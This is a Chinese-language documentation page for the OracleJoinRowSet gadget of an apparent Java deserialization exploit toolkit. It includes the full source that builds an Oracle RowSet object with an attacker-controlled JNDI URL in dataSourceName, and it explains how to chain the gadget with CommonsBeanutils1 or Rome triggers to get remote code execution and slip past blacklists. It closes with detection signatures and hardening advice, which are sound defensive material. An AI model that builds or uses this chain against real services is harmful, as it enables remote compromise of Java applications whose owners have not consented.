- 类别:javanative 别名:— 优先级:—
- 作者:—
- 依赖:
oracle(Oracle JDBC 驱动,含oracle.jdbc.rowset.OracleJoinRowSet;即ojdbc*.jar/ons.jar系列,视版本内置于oracle.jdbc.rowset包) - 实现:
Gadget(直接实现,无基类)
构造一个 oracle.jdbc.rowset.OracleJoinRowSet 实例,把它的 dataSourceName 字段设为攻击者可控的 JNDI URL。它自身不含 readObject,属于 getter 触发型 JNDI sink(链尾 END):当上游 getter 触发器调用其 getConnection() 时,Oracle RowSet 内部走 connect() → InitialContext.lookup(dataSourceName),从而发起 JNDI 注入 / 远程加载,最终 RCE。作用与 JdbcRowSetImpl 等价,但类名不同,常用于绕过只针对 com.sun.rowset.JdbcRowSetImpl 的黑名单(前提是目标 classpath 存在 Oracle JDBC 驱动)。
- 入口
tags:DataSourceChains、Getter、ENDDataSourceChains—— 标记它属于「DataSource/RowSet 型 JNDI 出口」这一族,可被声明nextTags含DataSourceChains的上游衔接(如 Rome1 等 EqualsBean/toString 触发器;见下)。Getter—— 表示它必须依赖上游调用内层对象的 getter 才能触发,自身不会主动执行 lookup。上游需是「暴露/驱动 getter」的 gadget(nextTags=Getter)。END—— 链的终点 sink,自身产出最终对象,无更内层(invoke中不调用chain.doCreate)。
- 衔接
nextTags:(无)—— 链尾,不再向下衔接。 excludes:(无)。
@GadgetTags(tags={"DataSourceChains", "Getter", "END"})
@GadgetAnnotation(name="Oracle DataSource JNDI",
description="oracle.jdbc.rowset.OracleJoinRowSet\n需要Getter触发,fj可能触发不到getConnection就退出了,用cb最好",
dependencies={"oracle"})
public class OracleJoinRowSet implements Gadget {
private final String getterMethodName = "getConnection";
private final String getterPropertyName = "connection";
@Param(name="jndi地址", description="eg: [rmi|ldap]://host:port/obj")
public String jndiUrl = "ldap://127.0.0.1:1389/x";两个 private final 字段 getterMethodName="getConnection" / getterPropertyName="connection" 记录了本 sink 的触发点:要被调用的方法是 getConnection()、对应的「属性名」是 connection(getter 去掉 get 前缀并首字母小写)。这两个值随后在 invoke 中被写入链上下文,供上游触发器读取。jndiUrl 是唯一的 @Param,默认 ldap://127.0.0.1:1389/x。
public Object getObject() throws Exception {
Object datasource = Reflections.newInstance("oracle.jdbc.rowset.OracleJoinRowSet", new Object[0]);
Reflections.setFieldValue(datasource, "dataSourceName", this.jndiUrl); // ① 写入 JNDI URL
Vector<String> v1 = new Vector<String>();
v1.add(0, "111");
try {
Reflections.setFieldValue(datasource, "metaData", new String[]{"111"});
Reflections.setFieldValue(datasource, "matchColumnNames", v1);
Reflections.setFieldValue(datasource, "matchColumnIndexes", v1);
Reflections.setFieldValue(datasource, "monitorLock", null); // ② 高版本才有的字段
}
catch (Exception e) {
Reflections.setFieldValue(datasource, "metaData", new String[]{"111"});
Reflections.setFieldValue(datasource, "matchColumnNames", v1);
Reflections.setFieldValue(datasource, "matchColumnIndexes", v1); // ③ 缺 monitorLock 字段时的回退
}
return datasource;
}逐段说明:
- ① 反射实例化并植入 payload:用
Reflections.newInstance通过全限定名反射构造oracle.jdbc.rowset.OracleJoinRowSet(避免在本类上硬编译期依赖 Oracle 驱动),再用Reflections.setFieldValue把dataSourceName设成jndiUrl。dataSourceName正是 Oracle RowSetgetConnection()/connect()内部执行InitialContext.lookup(...)时查找的名字——这一步决定了最终 lookup 的目标。 - ② 填充占位字段以保证可序列化 / 不中途抛异常:
OracleJoinRowSet是复杂的BaseRowSet派生对象,若干内部字段在 Java 原生序列化/反序列化及后续 getter 调用链中不能为null(否则会在到达getConnection前就抛NullPointerException使链提前中断)。因此把metaData设为非空数组、matchColumnNames/matchColumnIndexes设为非空Vector(元素"111"为无害占位);monitorLock是并发锁对象,置null以避免其自身不可序列化带来的问题。 - ③ 版本兼容回退:不同 Oracle 驱动版本的字段集合不同——低版本可能不存在
monitorLock字段,setFieldValue会抛异常。try/catch保证:无论monitorLock是否存在,metaData/matchColumnNames/matchColumnIndexes三个关键字段都能被设置成功,从而跨 Oracle 驱动版本自适应。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class); // ④ 限定 getter 枚举的类型
context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection"); // ⑤ 指定要触发的特殊方法
context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection"); // ⑥ 回填属性名给上游
return this.getObject();
}invoke 未调用 chain.doCreate(context)——印证 END:它是链尾,直接返回自己产出的对象。它向 GadgetContext 写入三个键,与上游 getter 触发器约定协作:
- ④
SUPER_CLASS_NAME_KEY = DataSource.class:告诉上游触发器「按javax.sql.DataSource接口来枚举/挑选 getter」。这一点很关键:OracleJoinRowSet具体类上有大量 getter,若不加限定,触发器可能命中其它无害 getter;而DataSource接口恰好声明了getConnection()。上游触发器(如 Rome1 的EqualsBean._beanClass)读取该键后,会把内省用的 bean 类设为DataSource,确保被调用的是getConnection()。 - ⑤
SPECIAL_METHOD_NAME_KEY = "getConnection":显式指名要触发的方法,供支持「特殊方法名」的触发器精确定位(与 ④ 呼应)。 - ⑥
GETTER_PARAM_NAME_KEY = "connection":回填「属性名」。对基于属性名反射的触发器(如 CommonsBeanutils1 的BeanComparator.property = context.getString(GETTER_PARAM_NAME_KEY)),它据此调用getConnection()。这与 CB 侧property = context.getString(GETTER_PARAM_NAME_KEY)正好对接,实现「可插拔 getter 名」。
触发链路小结(受害端反序列化时):上游 getter 触发器复原 → 调用内层对象的 getConnection() → OracleJoinRowSet.getConnection() → connect() → InitialContext.lookup(dataSourceName) → 加载攻击者 JNDI 服务返回的对象 → RCE。
| 字段 | 名称 | 说明 | 类型 | 默认 | 可选值 |
|---|---|---|---|---|---|
jndiUrl |
jndi地址 | JNDI lookup 地址,形如 [rmi|ldap]://host:port/obj |
String |
ldap://127.0.0.1:1389/x |
任意 RMI/LDAP URL |
(getterMethodName=getConnection、getterPropertyName=connection 为 private final 内部固定值,非用户可配。)
- 依赖:目标 classpath 必须存在 Oracle JDBC 驱动(
oracle.jdbc.rowset.OracleJoinRowSet)。无该驱动则不可用——这是它相对纯 JDK 的 JdbcRowSetImpl 的唯一额外前提。 - 最终效果为 JNDI 注入:受高版本 JDK 的
com.sun.jndi.ldap.object.trustURLCodebase/com.sun.jndi.rmi.object.trustURLCodebase(默认false)限制,远程 codebase 类加载被封;高版本需配合「本地 factory」或「反序列化型 JNDI」利用绕过。作为纯 getter sink,其触发本身不挑 JDK 版本,比TemplatesImpl(需defineClass、受 JDK 17+ 模块化限制)对 JDK 版本更宽容。 - 触发器选择(来自
description的实战提示):需要Getter触发,fj可能触发不到getConnection就退出了,用cb最好。即:用fj(FastjsonToString/JacksonToString 之类的toString触发器)时,其 getter 遍历可能在到达getConnection之前就退出/短路,导致触发不到;因此优先用cb(CommonsBeanutils1 等基于property精确指定属性名的触发器)——它按GETTER_PARAM_NAME_KEY=connection精确调用getConnection(),稳定命中。 - 跨驱动版本自适应:
getObject的try/catch针对monitorLock字段的有无做了兼容(见源码剖析 ③)。
自由构件,未直接出现在预设链中(usedInChains 为空)。可按 tag/nextTag 与 getter 触发器组合,典型形态为 [<getter 触发器>, OracleJoinRowSet],例如 [CommonsBeanutils1, OracleJoinRowSet](对照预设链 CB1 JNDI链1 的 [CommonsBeanutils1, JdbcRowSetImpl],把 sink 换成本类即可)。
- 上游(
tags=Getter/nextTags含Getter或DataSourceChains,提供 getter 触发):CommonsBeanutils1(推荐)、CommonsBeanutils2、Rome1(nextTags含DataSourceChains)、JacksonToString/FastjsonToString(toString型,可能触发不到,见上)。 - 同族 JNDI 出口(可互换的 getter/JNDI 型 sink):JdbcRowSetImpl(JDK 内置,最经典)、同目录 Oracle RowSet 变体 OracleWebRowSet、OracleJDBCRowSet、OracleCachedRowSet、OracleFilteredRowSet,以及达梦驱动的 DmdbRowSet、LdapAttribute。它们共享「设置数据源名 → getter 触发 JNDI lookup」的同一原理,仅承载类不同,用于绕过不同的类黑名单。
- 序列化流量检测特征:
- 序列化字节流中出现类名
oracle.jdbc.rowset.OracleJoinRowSet(及同族OracleWebRowSet/OracleJDBCRowSet/OracleCachedRowSet/OracleFilteredRowSet),或javax.sql.RowSet/BaseRowSet派生类。 - 对象内
dataSourceName字段为ldap:///rmi:///iiop://等外部 URL;metaData为["111"]、matchColumnNames/matchColumnIndexes为含"111"的Vector等本工具特征占位值。 - 通常与一个 getter 触发器同时出现:
PriorityQueue+BeanComparator(CB1)、Hashtable+EqualsBean(Rome)等外层包装。
- 序列化字节流中出现类名
- 运行时行为特征:反序列化后进程发起对外 LDAP/RMI(389/1389/1099) 连接,调用栈可见
...OracleJoinRowSet.getConnection→connect→javax.naming.InitialContext.lookup。 - 加固建议:
- 反序列化输入使用类白名单(如
ValidatingObjectInputStream/ JEP 290ObjectInputFilter),显式拒绝oracle.jdbc.rowset.*、com.sun.rowset.*、javax.sql.rowset.*、javax.sql.DataSource相关类。 - 设置并锁定
com.sun.jndi.ldap.object.trustURLCodebase=false、com.sun.jndi.rmi.object.trustURLCodebase=false(新版 JDK 默认),升级 JDK 以获得 JNDI/LDAP 反序列化防护。 - 出站网络管控:禁止应用服务器主动外连 LDAP/RMI,阻断远程 codebase 拉取。
- 若无业务需要,移除运行时 classpath 上多余的 Oracle JDBC 驱动,或用依赖管控收敛可被利用的 RowSet 载体。
- 反序列化输入使用类白名单(如
- 反编译源码:
- 机器可读元数据:
index/gadgets.json(className == "OracleJoinRowSet")